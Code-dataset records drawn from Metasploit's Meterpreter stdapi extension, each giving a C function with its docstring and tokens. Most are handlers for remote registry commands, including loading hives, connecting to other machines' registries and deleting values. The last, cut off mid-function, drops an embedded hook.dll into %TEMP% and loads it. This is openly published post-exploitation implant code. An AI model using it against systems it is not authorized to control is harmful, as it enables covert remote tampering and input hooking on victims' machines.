e05fe980b2f936ae167ad6dce0f9a0b7c207dc69 | Oxicode/metasploit-framework | external/source/meterpreter/source/extensions/stdapi/server/sys/registry/registry.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | request_registry_load_key | DWORD | DWORD request_registry_load_key(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
LPCTSTR baseKey = NULL;
HKEY rootKey = NULL, resKey;
LPCSTR hiveFile = NULL;
DWORD result;
rootKey = (HKEY)packet_get_tlv_value_uint(packet, TLV_TYPE_ROOT_KEY);
baseKey = packet_get_tlv_value_string(packet, TLV_TYPE_BASE_KEY);
hiveFile = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);
if ((!rootKey) || (!baseKey) || (!hiveFile))
result = ERROR_INVALID_PARAMETER;
else
{
result = RegLoadKey(rootKey,baseKey,hiveFile);
}
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
packet_transmit(remote, response, NULL);
return ERROR_SUCCESS;
} | /*
* Opens a registry key and returns the associated HKEY to the caller if the
* operation succeeds. Right now this is just a wrapper around create_key
*
* TLVs:
*
* req: TLV_TYPE_ROOT_KEY - The root key
* req: TLV_TYPE_BASE_KEY - The base key
* opt: TLV_TYPE_PERMISSION - Permissions with which to open the key
*/ | Opens a registry key and returns the associated HKEY to the caller if the
operation succeeds. Right now this is just a wrapper around create_key
TLV_TYPE_ROOT_KEY - The root key
req: TLV_TYPE_BASE_KEY - The base key
opt: TLV_TYPE_PERMISSION - Permissions with which to open the key | [
"Opens",
"a",
"registry",
"key",
"and",
"returns",
"the",
"associated",
"HKEY",
"to",
"the",
"caller",
"if",
"the",
"operation",
"succeeds",
".",
"Right",
"now",
"this",
"is",
"just",
"a",
"wrapper",
"around",
"create_key",
"TLV_TYPE_ROOT_KEY",
"-",
"The",
"root",
"key",
"req",
":",
"TLV_TYPE_BASE_KEY",
"-",
"The",
"base",
"key",
"opt",
":",
"TLV_TYPE_PERMISSION",
"-",
"Permissions",
"with",
"which",
"to",
"open",
"the",
"key"
] | DWORD request_registry_load_key(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
LPCTSTR baseKey = NULL;
HKEY rootKey = NULL, resKey;
LPCSTR hiveFile = NULL;
DWORD result;
rootKey = (HKEY)packet_get_tlv_value_uint(packet, TLV_TYPE_ROOT_KEY);
baseKey = packet_get_tlv_value_string(packet, TLV_TYPE_BASE_KEY);
hiveFile = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);
if ((!rootKey) || (!baseKey) || (!hiveFile))
result = ERROR_INVALID_PARAMETER;
else
{
result = RegLoadKey(rootKey,baseKey,hiveFile);
}
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
packet_transmit(remote, response, NULL);
return ERROR_SUCCESS;
} | [
"DWORD",
"request_registry_load_key",
"(",
"Remote",
"*",
"remote",
",",
"Packet",
"*",
"packet",
")",
"{",
"Packet",
"*",
"response",
"=",
"packet_create_response",
"(",
"packet",
")",
";",
"LPCTSTR",
"baseKey",
"=",
"NULL",
";",
"HKEY",
"rootKey",
"=",
"NULL",
",",
"resKey",
";",
"LPCSTR",
"hiveFile",
"=",
"NULL",
";",
"DWORD",
"result",
";",
"rootKey",
"=",
"(",
"HKEY",
")",
"packet_get_tlv_value_uint",
"(",
"packet",
",",
"TLV_TYPE_ROOT_KEY",
")",
";",
"baseKey",
"=",
"packet_get_tlv_value_string",
"(",
"packet",
",",
"TLV_TYPE_BASE_KEY",
")",
";",
"hiveFile",
"=",
"packet_get_tlv_value_string",
"(",
"packet",
",",
"TLV_TYPE_FILE_PATH",
")",
";",
"if",
"(",
"(",
"!",
"rootKey",
")",
"||",
"(",
"!",
"baseKey",
")",
"||",
"(",
"!",
"hiveFile",
")",
")",
"result",
"=",
"ERROR_INVALID_PARAMETER",
";",
"else",
"{",
"result",
"=",
"RegLoadKey",
"(",
"rootKey",
",",
"baseKey",
",",
"hiveFile",
")",
";",
"}",
"packet_add_tlv_uint",
"(",
"response",
",",
"TLV_TYPE_RESULT",
",",
"result",
")",
";",
"packet_transmit",
"(",
"remote",
",",
"response",
",",
"NULL",
")",
";",
"return",
"ERROR_SUCCESS",
";",
"}"
] | Opens a registry key and returns the associated HKEY to the caller if the
operation succeeds. | [
"Opens",
"a",
"registry",
"key",
"and",
"returns",
"the",
"associated",
"HKEY",
"to",
"the",
"caller",
"if",
"the",
"operation",
"succeeds",
"."
] | [] | [
{
"param": "remote",
"type": "Remote"
},
{
"param": "packet",
"type": "Packet"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "remote",
"type": "Remote",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "packet",
"type": "Packet",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
e05fe980b2f936ae167ad6dce0f9a0b7c207dc69 | Oxicode/metasploit-framework | external/source/meterpreter/source/extensions/stdapi/server/sys/registry/registry.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | request_registry_open_remote_key | DWORD | DWORD request_registry_open_remote_key(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
LPCTSTR targetHost = NULL;
HKEY rootKey = NULL, resKey;
DWORD result;
targetHost = packet_get_tlv_value_string(packet, TLV_TYPE_TARGET_HOST);
rootKey = (HKEY)packet_get_tlv_value_uint(packet, TLV_TYPE_ROOT_KEY);
// Validate the parameters and then attempt to create the key
if ((!rootKey) || (!targetHost))
result = ERROR_INVALID_PARAMETER;
else
{
result = RegConnectRegistry(targetHost, rootKey, &resKey);
}
// Add the HKEY if we succeeded, but always return a result
if (result == ERROR_SUCCESS)
packet_add_tlv_uint(response, TLV_TYPE_HKEY, (DWORD)resKey);
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
packet_transmit(remote, response, NULL);
return ERROR_SUCCESS;
} | /*
* Opens a remote registry key and returns the associated HKEY to the caller if the
* operation succeeds.
*
* TLVs:
*
* req: TLV_TYPE_ROOT_KEY - The root key
* req: TLV_TYPE_TARGET_HOST - The target machine name
*/ | Opens a remote registry key and returns the associated HKEY to the caller if the
operation succeeds.
TLV_TYPE_ROOT_KEY - The root key
req: TLV_TYPE_TARGET_HOST - The target machine name | [
"Opens",
"a",
"remote",
"registry",
"key",
"and",
"returns",
"the",
"associated",
"HKEY",
"to",
"the",
"caller",
"if",
"the",
"operation",
"succeeds",
".",
"TLV_TYPE_ROOT_KEY",
"-",
"The",
"root",
"key",
"req",
":",
"TLV_TYPE_TARGET_HOST",
"-",
"The",
"target",
"machine",
"name"
] | DWORD request_registry_open_remote_key(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
LPCTSTR targetHost = NULL;
HKEY rootKey = NULL, resKey;
DWORD result;
targetHost = packet_get_tlv_value_string(packet, TLV_TYPE_TARGET_HOST);
rootKey = (HKEY)packet_get_tlv_value_uint(packet, TLV_TYPE_ROOT_KEY);
if ((!rootKey) || (!targetHost))
result = ERROR_INVALID_PARAMETER;
else
{
result = RegConnectRegistry(targetHost, rootKey, &resKey);
}
if (result == ERROR_SUCCESS)
packet_add_tlv_uint(response, TLV_TYPE_HKEY, (DWORD)resKey);
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
packet_transmit(remote, response, NULL);
return ERROR_SUCCESS;
} | [
"DWORD",
"request_registry_open_remote_key",
"(",
"Remote",
"*",
"remote",
",",
"Packet",
"*",
"packet",
")",
"{",
"Packet",
"*",
"response",
"=",
"packet_create_response",
"(",
"packet",
")",
";",
"LPCTSTR",
"targetHost",
"=",
"NULL",
";",
"HKEY",
"rootKey",
"=",
"NULL",
",",
"resKey",
";",
"DWORD",
"result",
";",
"targetHost",
"=",
"packet_get_tlv_value_string",
"(",
"packet",
",",
"TLV_TYPE_TARGET_HOST",
")",
";",
"rootKey",
"=",
"(",
"HKEY",
")",
"packet_get_tlv_value_uint",
"(",
"packet",
",",
"TLV_TYPE_ROOT_KEY",
")",
";",
"if",
"(",
"(",
"!",
"rootKey",
")",
"||",
"(",
"!",
"targetHost",
")",
")",
"result",
"=",
"ERROR_INVALID_PARAMETER",
";",
"else",
"{",
"result",
"=",
"RegConnectRegistry",
"(",
"targetHost",
",",
"rootKey",
",",
"&",
"resKey",
")",
";",
"}",
"if",
"(",
"result",
"==",
"ERROR_SUCCESS",
")",
"packet_add_tlv_uint",
"(",
"response",
",",
"TLV_TYPE_HKEY",
",",
"(",
"DWORD",
")",
"resKey",
")",
";",
"packet_add_tlv_uint",
"(",
"response",
",",
"TLV_TYPE_RESULT",
",",
"result",
")",
";",
"packet_transmit",
"(",
"remote",
",",
"response",
",",
"NULL",
")",
";",
"return",
"ERROR_SUCCESS",
";",
"}"
] | Opens a remote registry key and returns the associated HKEY to the caller if the
operation succeeds. | [
"Opens",
"a",
"remote",
"registry",
"key",
"and",
"returns",
"the",
"associated",
"HKEY",
"to",
"the",
"caller",
"if",
"the",
"operation",
"succeeds",
"."
] | [
"// Validate the parameters and then attempt to create the key\r",
"// Add the HKEY if we succeeded, but always return a result\r"
] | [
{
"param": "remote",
"type": "Remote"
},
{
"param": "packet",
"type": "Packet"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "remote",
"type": "Remote",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "packet",
"type": "Packet",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
e05fe980b2f936ae167ad6dce0f9a0b7c207dc69 | Oxicode/metasploit-framework | external/source/meterpreter/source/extensions/stdapi/server/sys/registry/registry.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | request_registry_enum_key | DWORD | DWORD request_registry_enum_key(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
DWORD result;
HKEY hkey = (HKEY)packet_get_tlv_value_uint(packet, TLV_TYPE_HKEY);
if (!hkey)
result = ERROR_INVALID_PARAMETER;
else
{
DWORD nameSize = 4096;
DWORD index = 0;
DWORD tries = 0;
LPSTR name = NULL;
// Keep looping until we reach the end
while (1)
{
// If the name storage is NULL, allocate it
if (!name)
name = (LPSTR)malloc(nameSize);
result = RegEnumKey(hkey, index, name, nameSize);
// If we need more room...
if (result == ERROR_MORE_DATA)
{
if (tries > 3)
break;
free(name);
nameSize *= 2;
name = NULL;
tries++;
continue;
}
// If we've reached the end of our road...
else if (result == ERROR_NO_MORE_ITEMS)
{
result = ERROR_SUCCESS;
break;
}
// If we flunked out of school...
else if (result != ERROR_SUCCESS)
break;
// Reset tries
tries = 0;
// Add the registry key name
packet_add_tlv_string(response, TLV_TYPE_KEY_NAME,
name);
// Next entry
index++;
}
}
// Set the result and transmit the response
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
packet_transmit(remote, response, NULL);
return ERROR_SUCCESS;
} | /*
* Enumerates a supplied registry key and returns a list of all the direct
* sub-keys.
*
* TLVs:
*
* req: TLV_TYPE_HKEY - The HKEY that is to be enumerated
*/ | Enumerates a supplied registry key and returns a list of all the direct
sub-keys.
The HKEY that is to be enumerated | [
"Enumerates",
"a",
"supplied",
"registry",
"key",
"and",
"returns",
"a",
"list",
"of",
"all",
"the",
"direct",
"sub",
"-",
"keys",
".",
"The",
"HKEY",
"that",
"is",
"to",
"be",
"enumerated"
] | DWORD request_registry_enum_key(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
DWORD result;
HKEY hkey = (HKEY)packet_get_tlv_value_uint(packet, TLV_TYPE_HKEY);
if (!hkey)
result = ERROR_INVALID_PARAMETER;
else
{
DWORD nameSize = 4096;
DWORD index = 0;
DWORD tries = 0;
LPSTR name = NULL;
while (1)
{
if (!name)
name = (LPSTR)malloc(nameSize);
result = RegEnumKey(hkey, index, name, nameSize);
if (result == ERROR_MORE_DATA)
{
if (tries > 3)
break;
free(name);
nameSize *= 2;
name = NULL;
tries++;
continue;
}
else if (result == ERROR_NO_MORE_ITEMS)
{
result = ERROR_SUCCESS;
break;
}
else if (result != ERROR_SUCCESS)
break;
tries = 0;
packet_add_tlv_string(response, TLV_TYPE_KEY_NAME,
name);
index++;
}
}
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
packet_transmit(remote, response, NULL);
return ERROR_SUCCESS;
} | [
"DWORD",
"request_registry_enum_key",
"(",
"Remote",
"*",
"remote",
",",
"Packet",
"*",
"packet",
")",
"{",
"Packet",
"*",
"response",
"=",
"packet_create_response",
"(",
"packet",
")",
";",
"DWORD",
"result",
";",
"HKEY",
"hkey",
"=",
"(",
"HKEY",
")",
"packet_get_tlv_value_uint",
"(",
"packet",
",",
"TLV_TYPE_HKEY",
")",
";",
"if",
"(",
"!",
"hkey",
")",
"result",
"=",
"ERROR_INVALID_PARAMETER",
";",
"else",
"{",
"DWORD",
"nameSize",
"=",
"4096",
";",
"DWORD",
"index",
"=",
"0",
";",
"DWORD",
"tries",
"=",
"0",
";",
"LPSTR",
"name",
"=",
"NULL",
";",
"while",
"(",
"1",
")",
"{",
"if",
"(",
"!",
"name",
")",
"name",
"=",
"(",
"LPSTR",
")",
"malloc",
"(",
"nameSize",
")",
";",
"result",
"=",
"RegEnumKey",
"(",
"hkey",
",",
"index",
",",
"name",
",",
"nameSize",
")",
";",
"if",
"(",
"result",
"==",
"ERROR_MORE_DATA",
")",
"{",
"if",
"(",
"tries",
">",
"3",
")",
"break",
";",
"free",
"(",
"name",
")",
";",
"nameSize",
"*=",
"2",
";",
"name",
"=",
"NULL",
";",
"tries",
"++",
";",
"continue",
";",
"}",
"else",
"if",
"(",
"result",
"==",
"ERROR_NO_MORE_ITEMS",
")",
"{",
"result",
"=",
"ERROR_SUCCESS",
";",
"break",
";",
"}",
"else",
"if",
"(",
"result",
"!=",
"ERROR_SUCCESS",
")",
"break",
";",
"tries",
"=",
"0",
";",
"packet_add_tlv_string",
"(",
"response",
",",
"TLV_TYPE_KEY_NAME",
",",
"name",
")",
";",
"index",
"++",
";",
"}",
"}",
"packet_add_tlv_uint",
"(",
"response",
",",
"TLV_TYPE_RESULT",
",",
"result",
")",
";",
"packet_transmit",
"(",
"remote",
",",
"response",
",",
"NULL",
")",
";",
"return",
"ERROR_SUCCESS",
";",
"}"
] | Enumerates a supplied registry key and returns a list of all the direct
sub-keys. | [
"Enumerates",
"a",
"supplied",
"registry",
"key",
"and",
"returns",
"a",
"list",
"of",
"all",
"the",
"direct",
"sub",
"-",
"keys",
"."
] | [
"// Keep looping until we reach the end\r",
"// If the name storage is NULL, allocate it\r",
"// If we need more room...\r",
"// If we've reached the end of our road...\r",
"// If we flunked out of school...\r",
"// Reset tries\r",
"// Add the registry key name\r",
"// Next entry\r",
"// Set the result and transmit the response\r"
] | [
{
"param": "remote",
"type": "Remote"
},
{
"param": "packet",
"type": "Packet"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "remote",
"type": "Remote",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "packet",
"type": "Packet",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
e05fe980b2f936ae167ad6dce0f9a0b7c207dc69 | Oxicode/metasploit-framework | external/source/meterpreter/source/extensions/stdapi/server/sys/registry/registry.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | request_registry_close_key | DWORD | DWORD request_registry_close_key(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
DWORD result;
HKEY hkey = (HKEY)packet_get_tlv_value_uint(packet, TLV_TYPE_HKEY);
// No param? No love.
if (!hkey)
result = ERROR_INVALID_PARAMETER;
else
result = RegCloseKey(hkey);
// Set the result and send the response
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
packet_transmit(remote, response, NULL);
return ERROR_SUCCESS;
} | /*
* Closes the supplied HKEY
*
* TLVs:
*
* req: TLV_TYPE_HKEY - The HKEY that is to be closed
*/ | Closes the supplied HKEY
The HKEY that is to be closed | [
"Closes",
"the",
"supplied",
"HKEY",
"The",
"HKEY",
"that",
"is",
"to",
"be",
"closed"
] | DWORD request_registry_close_key(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
DWORD result;
HKEY hkey = (HKEY)packet_get_tlv_value_uint(packet, TLV_TYPE_HKEY);
if (!hkey)
result = ERROR_INVALID_PARAMETER;
else
result = RegCloseKey(hkey);
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
packet_transmit(remote, response, NULL);
return ERROR_SUCCESS;
} | [
"DWORD",
"request_registry_close_key",
"(",
"Remote",
"*",
"remote",
",",
"Packet",
"*",
"packet",
")",
"{",
"Packet",
"*",
"response",
"=",
"packet_create_response",
"(",
"packet",
")",
";",
"DWORD",
"result",
";",
"HKEY",
"hkey",
"=",
"(",
"HKEY",
")",
"packet_get_tlv_value_uint",
"(",
"packet",
",",
"TLV_TYPE_HKEY",
")",
";",
"if",
"(",
"!",
"hkey",
")",
"result",
"=",
"ERROR_INVALID_PARAMETER",
";",
"else",
"result",
"=",
"RegCloseKey",
"(",
"hkey",
")",
";",
"packet_add_tlv_uint",
"(",
"response",
",",
"TLV_TYPE_RESULT",
",",
"result",
")",
";",
"packet_transmit",
"(",
"remote",
",",
"response",
",",
"NULL",
")",
";",
"return",
"ERROR_SUCCESS",
";",
"}"
] | Closes the supplied HKEY | [
"Closes",
"the",
"supplied",
"HKEY"
] | [
"// No param? No love.\r",
"// Set the result and send the response\r"
] | [
{
"param": "remote",
"type": "Remote"
},
{
"param": "packet",
"type": "Packet"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "remote",
"type": "Remote",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "packet",
"type": "Packet",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
e05fe980b2f936ae167ad6dce0f9a0b7c207dc69 | Oxicode/metasploit-framework | external/source/meterpreter/source/extensions/stdapi/server/sys/registry/registry.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | request_registry_enum_value | DWORD | DWORD request_registry_enum_value(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
DWORD result;
HKEY hkey = (HKEY)packet_get_tlv_value_uint(packet, TLV_TYPE_HKEY);
if (!hkey)
result = ERROR_INVALID_PARAMETER;
else
{
DWORD nameSize = 4096, realSize = 4096;
DWORD index = 0;
DWORD tries = 0;
LPSTR name = NULL;
// Keep looping until we reach the end
while (1)
{
// If the name storage is NULL, allocate it
if (!name)
name = (LPSTR)malloc(nameSize);
result = RegEnumValue(hkey, index, name, &nameSize,
NULL, NULL, NULL, NULL);
// Reset the real size
nameSize = realSize;
// If we need more room...
if (result == ERROR_MORE_DATA)
{
if (tries > 3)
break;
free(name);
realSize = nameSize *= 3;
name = NULL;
tries++;
continue;
}
// If we've reached the end of our road...
else if (result == ERROR_NO_MORE_ITEMS)
{
result = ERROR_SUCCESS;
break;
}
// If we flunked out of school...
else if (result != ERROR_SUCCESS)
break;
// Reset tries
tries = 0;
// Add the registry value name
packet_add_tlv_string(response, TLV_TYPE_VALUE_NAME,
name);
// Next entry
index++;
}
}
// Set the result and transmit the response
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
packet_transmit(remote, response, NULL);
return ERROR_SUCCESS;
} | /*
* Enumerates all of the values at the supplied HKEY.
*
* TLVs:
*
* req: TLV_TYPE_HKEY - The HKEY that will have its values enumerated.
*/ | Enumerates all of the values at the supplied HKEY.
The HKEY that will have its values enumerated. | [
"Enumerates",
"all",
"of",
"the",
"values",
"at",
"the",
"supplied",
"HKEY",
".",
"The",
"HKEY",
"that",
"will",
"have",
"its",
"values",
"enumerated",
"."
] | DWORD request_registry_enum_value(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
DWORD result;
HKEY hkey = (HKEY)packet_get_tlv_value_uint(packet, TLV_TYPE_HKEY);
if (!hkey)
result = ERROR_INVALID_PARAMETER;
else
{
DWORD nameSize = 4096, realSize = 4096;
DWORD index = 0;
DWORD tries = 0;
LPSTR name = NULL;
while (1)
{
if (!name)
name = (LPSTR)malloc(nameSize);
result = RegEnumValue(hkey, index, name, &nameSize,
NULL, NULL, NULL, NULL);
nameSize = realSize;
if (result == ERROR_MORE_DATA)
{
if (tries > 3)
break;
free(name);
realSize = nameSize *= 3;
name = NULL;
tries++;
continue;
}
else if (result == ERROR_NO_MORE_ITEMS)
{
result = ERROR_SUCCESS;
break;
}
else if (result != ERROR_SUCCESS)
break;
tries = 0;
packet_add_tlv_string(response, TLV_TYPE_VALUE_NAME,
name);
index++;
}
}
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
packet_transmit(remote, response, NULL);
return ERROR_SUCCESS;
} | [
"DWORD",
"request_registry_enum_value",
"(",
"Remote",
"*",
"remote",
",",
"Packet",
"*",
"packet",
")",
"{",
"Packet",
"*",
"response",
"=",
"packet_create_response",
"(",
"packet",
")",
";",
"DWORD",
"result",
";",
"HKEY",
"hkey",
"=",
"(",
"HKEY",
")",
"packet_get_tlv_value_uint",
"(",
"packet",
",",
"TLV_TYPE_HKEY",
")",
";",
"if",
"(",
"!",
"hkey",
")",
"result",
"=",
"ERROR_INVALID_PARAMETER",
";",
"else",
"{",
"DWORD",
"nameSize",
"=",
"4096",
",",
"realSize",
"=",
"4096",
";",
"DWORD",
"index",
"=",
"0",
";",
"DWORD",
"tries",
"=",
"0",
";",
"LPSTR",
"name",
"=",
"NULL",
";",
"while",
"(",
"1",
")",
"{",
"if",
"(",
"!",
"name",
")",
"name",
"=",
"(",
"LPSTR",
")",
"malloc",
"(",
"nameSize",
")",
";",
"result",
"=",
"RegEnumValue",
"(",
"hkey",
",",
"index",
",",
"name",
",",
"&",
"nameSize",
",",
"NULL",
",",
"NULL",
",",
"NULL",
",",
"NULL",
")",
";",
"nameSize",
"=",
"realSize",
";",
"if",
"(",
"result",
"==",
"ERROR_MORE_DATA",
")",
"{",
"if",
"(",
"tries",
">",
"3",
")",
"break",
";",
"free",
"(",
"name",
")",
";",
"realSize",
"=",
"nameSize",
"*=",
"3",
";",
"name",
"=",
"NULL",
";",
"tries",
"++",
";",
"continue",
";",
"}",
"else",
"if",
"(",
"result",
"==",
"ERROR_NO_MORE_ITEMS",
")",
"{",
"result",
"=",
"ERROR_SUCCESS",
";",
"break",
";",
"}",
"else",
"if",
"(",
"result",
"!=",
"ERROR_SUCCESS",
")",
"break",
";",
"tries",
"=",
"0",
";",
"packet_add_tlv_string",
"(",
"response",
",",
"TLV_TYPE_VALUE_NAME",
",",
"name",
")",
";",
"index",
"++",
";",
"}",
"}",
"packet_add_tlv_uint",
"(",
"response",
",",
"TLV_TYPE_RESULT",
",",
"result",
")",
";",
"packet_transmit",
"(",
"remote",
",",
"response",
",",
"NULL",
")",
";",
"return",
"ERROR_SUCCESS",
";",
"}"
] | Enumerates all of the values at the supplied HKEY. | [
"Enumerates",
"all",
"of",
"the",
"values",
"at",
"the",
"supplied",
"HKEY",
"."
] | [
"// Keep looping until we reach the end\r",
"// If the name storage is NULL, allocate it\r",
"// Reset the real size\r",
"// If we need more room...\r",
"// If we've reached the end of our road...\r",
"// If we flunked out of school...\r",
"// Reset tries\r",
"// Add the registry value name\r",
"// Next entry\r",
"// Set the result and transmit the response\r"
] | [
{
"param": "remote",
"type": "Remote"
},
{
"param": "packet",
"type": "Packet"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "remote",
"type": "Remote",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "packet",
"type": "Packet",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
e05fe980b2f936ae167ad6dce0f9a0b7c207dc69 | Oxicode/metasploit-framework | external/source/meterpreter/source/extensions/stdapi/server/sys/registry/registry.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | request_registry_delete_value | DWORD | DWORD request_registry_delete_value(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
LPCSTR valueName = NULL;
DWORD result = ERROR_SUCCESS;
HKEY hkey = NULL;
hkey = (HKEY)packet_get_tlv_value_uint(packet, TLV_TYPE_HKEY);
valueName = (LPCSTR)packet_get_tlv_value_string(packet, TLV_TYPE_VALUE_NAME);
// Check for invalid parameters
if ((!hkey) ||
(!valueName))
result = ERROR_INVALID_PARAMETER;
else
result = RegDeleteValue(hkey, valueName);
// Set the result and send the response
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
packet_transmit(remote, response, NULL);
return ERROR_SUCCESS;
} | /*
* Deletes a registry value from the supplied registry key
*
* TLVs:
*
* req: TLV_TYPE_HKEY - The HKEY from which to delete the value
* req: TLV_TYPE_VALUE_NAME = The name of the value to delete
*/ | Deletes a registry value from the supplied registry key
TLV_TYPE_HKEY - The HKEY from which to delete the value
req: TLV_TYPE_VALUE_NAME = The name of the value to delete | [
"Deletes",
"a",
"registry",
"value",
"from",
"the",
"supplied",
"registry",
"key",
"TLV_TYPE_HKEY",
"-",
"The",
"HKEY",
"from",
"which",
"to",
"delete",
"the",
"value",
"req",
":",
"TLV_TYPE_VALUE_NAME",
"=",
"The",
"name",
"of",
"the",
"value",
"to",
"delete"
] | DWORD request_registry_delete_value(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
LPCSTR valueName = NULL;
DWORD result = ERROR_SUCCESS;
HKEY hkey = NULL;
hkey = (HKEY)packet_get_tlv_value_uint(packet, TLV_TYPE_HKEY);
valueName = (LPCSTR)packet_get_tlv_value_string(packet, TLV_TYPE_VALUE_NAME);
if ((!hkey) ||
(!valueName))
result = ERROR_INVALID_PARAMETER;
else
result = RegDeleteValue(hkey, valueName);
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
packet_transmit(remote, response, NULL);
return ERROR_SUCCESS;
} | [
"DWORD",
"request_registry_delete_value",
"(",
"Remote",
"*",
"remote",
",",
"Packet",
"*",
"packet",
")",
"{",
"Packet",
"*",
"response",
"=",
"packet_create_response",
"(",
"packet",
")",
";",
"LPCSTR",
"valueName",
"=",
"NULL",
";",
"DWORD",
"result",
"=",
"ERROR_SUCCESS",
";",
"HKEY",
"hkey",
"=",
"NULL",
";",
"hkey",
"=",
"(",
"HKEY",
")",
"packet_get_tlv_value_uint",
"(",
"packet",
",",
"TLV_TYPE_HKEY",
")",
";",
"valueName",
"=",
"(",
"LPCSTR",
")",
"packet_get_tlv_value_string",
"(",
"packet",
",",
"TLV_TYPE_VALUE_NAME",
")",
";",
"if",
"(",
"(",
"!",
"hkey",
")",
"||",
"(",
"!",
"valueName",
")",
")",
"result",
"=",
"ERROR_INVALID_PARAMETER",
";",
"else",
"result",
"=",
"RegDeleteValue",
"(",
"hkey",
",",
"valueName",
")",
";",
"packet_add_tlv_uint",
"(",
"response",
",",
"TLV_TYPE_RESULT",
",",
"result",
")",
";",
"packet_transmit",
"(",
"remote",
",",
"response",
",",
"NULL",
")",
";",
"return",
"ERROR_SUCCESS",
";",
"}"
] | Deletes a registry value from the supplied registry key | [
"Deletes",
"a",
"registry",
"value",
"from",
"the",
"supplied",
"registry",
"key"
] | [
"// Check for invalid parameters\r",
"// Set the result and send the response\r"
] | [
{
"param": "remote",
"type": "Remote"
},
{
"param": "packet",
"type": "Packet"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "remote",
"type": "Remote",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "packet",
"type": "Packet",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
0abba2a169ae5b4d56353bbacac2dff9c172b996 | Oxicode/metasploit-framework | external/source/meterpreter/source/extensions/stdapi/server/ui/ui.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | extract_hook_library | DWORD | DWORD extract_hook_library()
{
HGLOBAL global = NULL;
HRSRC fileHandle = NULL;
LPVOID raw = NULL;
DWORD rawSize = 0;
DWORD result = ERROR_SUCCESS;
CHAR tempFile[1024];
FILE *fd = NULL;
memset(tempFile, 0, sizeof(tempFile));
do
{
ExpandEnvironmentStrings("%TEMP%\\hook.dll", tempFile,
sizeof(tempFile) - 1);
fileHandle = FindResource( hAppInstance,
MAKEINTRESOURCE(IDR_HOOK_DLL), "IMG");
if (!fileHandle)
{
result = GetLastError();
break;
}
global = LoadResource( hAppInstance, fileHandle );
raw = LockResource(global);
rawSize = SizeofResource( hAppInstance, fileHandle );
DeleteFile(tempFile);
// Write the file to disk
if (GetFileAttributes(tempFile) == INVALID_FILE_ATTRIBUTES)
{
if ((fd = fopen(tempFile, "wb")))
{
fwrite(raw, 1, rawSize, fd);
fclose(fd);
}
else
result = GetLastError();
}
// Try to load the library
if (!(hookLibrary = LoadLibrary(tempFile)))
{
result = GetLastError();
break;
}
} while (0);
return result;
} | /*
* Extract and load the hook library
*/ | Extract and load the hook library | [
"Extract",
"and",
"load",
"the",
"hook",
"library"
] | DWORD extract_hook_library()
{
HGLOBAL global = NULL;
HRSRC fileHandle = NULL;
LPVOID raw = NULL;
DWORD rawSize = 0;
DWORD result = ERROR_SUCCESS;
CHAR tempFile[1024];
FILE *fd = NULL;
memset(tempFile, 0, sizeof(tempFile));
do
{
ExpandEnvironmentStrings("%TEMP%\\hook.dll", tempFile,
sizeof(tempFile) - 1);
fileHandle = FindResource( hAppInstance,
MAKEINTRESOURCE(IDR_HOOK_DLL), "IMG");
if (!fileHandle)
{
result = GetLastError();
break;
}
global = LoadResource( hAppInstance, fileHandle );
raw = LockResource(global);
rawSize = SizeofResource( hAppInstance, fileHandle );
DeleteFile(tempFile);
